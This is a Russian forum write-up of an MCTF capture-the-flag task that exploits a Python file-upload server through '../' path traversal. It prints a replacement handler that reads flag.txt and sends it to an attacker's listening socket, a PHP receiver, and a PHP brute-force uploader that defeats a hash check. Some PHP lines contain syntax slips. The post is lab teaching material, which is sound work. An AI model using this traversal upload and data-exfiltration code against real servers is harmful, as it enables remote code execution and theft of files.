HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
По сложившейся традиции разбираю очередное задание олимпиады по информационной безопасности MCTF. В этот раз мы будем организованно писать эксплоит для серверного приложения, написанного на языке Python.
Общеизвестно, что эксплоит - это компьютерная программа, фрагмент программного кода или последовательность команд, которые используются уязвимости в программном обеспечении и применяются для осуществления атаки на вычислительную систему. Целью атаки является захват контроля над системой или нарушение её корректной работы (с) вики.
В качестве подопытного предлагается код сервера на языке Python с несколько странной реализацией протокола. Ознакомиться с кодом приложения можно Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
, далее я прокомментирую его наиболее яркие фрагменты. Но прежде всего нам нужное его установить на локальной машине для вдумчивого препарирования. ИтакЗапуск файла server.py на Ubuntu
В целом особых подводных камней тут нет, Python включен во все дистрибутивы повсеместно, однако тут ВНЕЗАПНО используется малоизвестная библиотека mmh3.
К сожалению, в дистрибутиве ubuntu ее нет, поэтому ставим из исходников
Код:
sudo apt-get install python-pip
sudo apt-get install python-dev
sudo python -m pip install mmh3
Код:
python server.py
Вообще цель заданий в этой олимпиаде - найти некие "флаги". Таким образом цель взлома server.py - считать содержимое файла flag.txt, который расположен в одном каталоге с исполняемым файлом сервера.
Анализ работы скрипта и поиск уязвимостей
Теперь откроем скрипт и подумаем над его кодом. Протокол сетевого обмена, который тут реализован странный. Но что поделать, настоящего хакера такой чепухой не остановить. Итак, как работает алгоритм.
В целом данный алгоритм можно охарактеризовать как серверная обработка некоторого передаваемого клиентом файла. Сервер слушает некий порт (за номером 1234) и ждет когда ему передадут имя файла и его содержимое. Далее сервер "натравливает" на него обработчик на том же python. Но как странно он это делает!
Подготовительные операции для обработки файла
После получения запроса сервер готовит себе окружение для дальнейшей работы. Делается все это при помощи функции move_to_sec_env, листинг которой чуть ниже. Приведу описание алгоритма как есть, без комментариев относительно "надежности" такого подхода. Итак, все в комментариях
Код:
def move_to_sec_env():
global current_dir
current_dir = id_generator() # Генерируем имя временной директории
print current_dir
os.system("mkdir /tmp/%s" % current_dir) # Создаем ее в папке /tmp (заодно
#понимаю что сервер работает под Linux
os.system("mkdir /tmp/%s/server" % current_dir) #Там создаем подпапку server
os.system("cp flag.txt /tmp/%s/server/" % current_dir) # Копируем туда файл flag.txt
os.system("cp ../file_handler.py /tmp/%s/" % current_dir) #Копируем обработчик
os.chdir("/tmp/%s/server/" % current_dir) #Делаем поддиректорию server рабочей
Получение описания (заголовка) для передаваемой информации
Тут странности продолжаются. В качестве заголовка сервер ждет ровно 1024 байта, не больше и не меньше. Почему так? Чтобы писать эксплоит было интереснее!
Далее делается следующее:
- Проверяется, что первая строка содержит команду get. Это обязательное требование протокола - при отсутствии команды обработка запроса завершается, не начавшись;
- Следом считывается 3-я строка - в ней содержится имя файла с которым будет работать сервер. На этом полезная информация, содержащаяся в блоке размером 1024 байта завершается. Остальной объем можно заполнить произвольным мусором;
- Далее сервер читает новый блок данных (16 байтов), в котором содержится размер файла, который будет передан на обработку;
- Теперь сервер готов получить указанное количество байт и записать его по адресу, содержащимся в переменной filename;
- Передаем содержимое файла, который мы хотим записать на сервер.
Код:
#Блок для считывания данных протокола
data = s.recv(1024)
cmd = data[:data.find('\n')]
if cmd == 'get':
print 'data: %s' % data
x, file_name, x = data.split('\n', 2)
_size = s.recv(16)
try:
size = int(_size)
except:
leave_sec_env()
Далее идет обработка файла, а странности алгоритма продолжаются. Смотрим код
Код:
if mmh3.hash(recvd) >> 16 != -30772 or 'server' in file_name:
print 'Hey, you! Watch whatcha sending me!'
leave_sec_env()
вычисляет контрольную сумму
Код:
#Грузим Python-обработчик и вызываем process_file
file_handler = imp.load_source('module.name', '../file_handler.py')
file_handler.process_file(file_name)
leave_sec_env()
Пишем эксплоит
Идея эксплоита
Очевидна. Поскольку сервер выполняет сторонний код, то надо подменить тот, что расположен на нем и "подсунуть" наш. Мы видим, что при проверке данных сервер только убеждается в том, что в имени файла не содержится фраза "server". А защиты от известной уязвимости "../" нет. Что же будем эксплуатировать ее.
Передадим в качестве имени файла "../file_handler.py". Тогда (если конечно удастся пройти защиту, связанную с проверкой контрольной суммы) измененный файл-обработчик и будет эксплоитом!
Напомню, что цель взлома - получить содержимое файла flag.txt. Поскольку мы атакуем удаленный сервер, то для передачи, очевидно надо воспользоваться сетевым соединением.
Что нужно сделать? Прочитать содержимое файла flag.txt, подключиться по сети к атакующему компьютеру и передать данные. А поскольку server.py написан на Питоне, файл-эксплоит должен быть сделан на нем же.
В первом приближении получится нечто вроде:
Код:
#Читаем flag.txt и передаем его по сети
def process_file(name):
import socket
TCP_IP = '127.0.0.1'
TCP_PORT = 5005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
f = open('flag.txt')
s.send(f.read())
s.close()
Перехватчик конфиденциальной информации
Чтобы эксплоит мог передать интересующую нас информацию, на атакующем компьютере нужно запустить сервер, который будет прослушивать 5005 порт и печатать в консоль или сохранять полученную информацию.
Напишем его (для разнообразия на PHP)
Код:
<?php
while(1){
$conn = stream_socket_server('tcp://127.0.0.1:5005');
while ($socket = stream_socket_accept($conn)) {
$pkt = stream_socket_recvfrom($socket, 1500, 0, $peer);
if (false === empty($pkt)) {
stream_socket_sendto($socket, 'Received pkt ' . $pkt, 0, $peer);
}
print $pkt."\n";
fclose($socket);
usleep(10000); //100ms delay
}
stream_socket_shutdown($conn, \STREAM_SHUT_RDWR);
}
?>
Теперь осталось написать небольшой код, который передаст наш файл на сервер. Для этого надо:
Открыть соединение с удаленной машиной по порту 1234
Передать ему заголовок длиной 1024 байта
Передать размер файла, который будет отправлен на сервер
Отправить сам файл
Надеяться что все пройдет как надо и мы получим по сети содержимое flag.txt
Итак, простой код отправки данный (опять на PHP), код на Python хранится в файле send.py
Код:
<?php
error_reporting(E_ALL);
/* Создаём TCP/IP сокет. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
/* Пытаемся соединиться с '$address' на порту '$service_port'... */
$result = socket_connect($socket, '127.0.0.1', '1234');
/* Отправляем HEAD запрос..."; */
$in = "get
../file_handler.py
";
//Дополняем заголовок до 1024 байтов
for($i=strlen($in); $i<1024; $i++)
$in=$in."X";
socket_write($socket, $in, strlen($in));
/* Отправляем SIZE запрос... */
$in = filesize("send.py");
for($i=strlen($in); $i<16; $i++)
$in=" ".$in;
socket_write($socket, $in, strlen($in));
/* Отправляем DATA запрос... */
$in = file_get_contents("send.py");
socket_write($socket, $in, strlen($in));
/* Закрываем сокет... */
socket_close($socket);
?>
Как известно даже с готовым набором контрольных сумм, подобрать для них подходящий открытый текст можно лишь перебором.
Очевидно, от нас ждут тут "метода грубой силы" (brute force, он же брут форс) и тотального перебора вариантов.
Что делать, если надо реализуем. Для этого добавим в конец передаваемого файла комментарий, составленный из случайных букв. Понятно, что при изменении содержимого, контрольная сумма файла тоже будет меняться. Обеспечим такую "случайность".
Код:
<?php
//алфавит из которого будет создаваться случайный комментарий
$alpha="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";
while(1){
/* Создаём TCP/IP сокет. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($socket, '127.0.0.1', '1234');
$in = "get\n../file_handler.py\n";
for($i=strlen($in); $i<1024; i++)
$in=$in."X";
socket_write($socket, $in, strlen($in));
/* Создаем "случайность"*/
$append = rand(0, 1024); //Определяем, какой будет у файла "хвост"
$in = filesize("send.py") +$append +2;
for($i=strlen($in); $i<16 i++)
$in=" ".$in;
socket_write($socket, $in, strlen($in));
$in = file_get_contents("send.py");
$in= $in."\n#"; // Добавляем строку комментария
for($i=0; $i<$append; $i++)
$in=$in.$alpha[rand(0, 50)]; //Дописываем комментарий
//случайными буквами из алфавита
socket_write($socket, $in, strlen($in));
socket_close($socket);
usleep(100000); //100ms delay
}
?>
Итак, получился готовый код для взлома указанного серверного приложения. Схема его работы следующая:
- Запускаем скрипт, который ждет сообщения с атакуемого сервера по порту 5005
- Запускаем скрипт отправки эксплоита с учетом перебора контрольной суммы
- Ждем
- PROFIT
Код:
mkdir: cannot create directory ‘/tmp/1ZEPAP’: File exists
mkdir: cannot create directory ‘/tmp/1ZEPAP/server’: No such file or directory
cp: cannot create regular file ‘/tmp/1ZEPAP/server/’: No such file or directory
cp: cannot create regular file ‘/tmp/1ZEPAP/’: Not a directory
Traceback (most recent call last):
File "server.py", line 79, in module
handle_client(s)
File "server.py", line 32, in handle_client
move_to_sec_env()
File "server.py", line 23, in move_to_sec_env
os.chdir("/tmp/%s/server/" % current_dir)
OSError: [Errno 2] No such file or directory: '/tmp/1ZEPAP/server/'
Вот собственно и все. Естественно, кроме кражи флага можно выполнить любую другую произвольную команду. Все. Всем спасибо за внимание.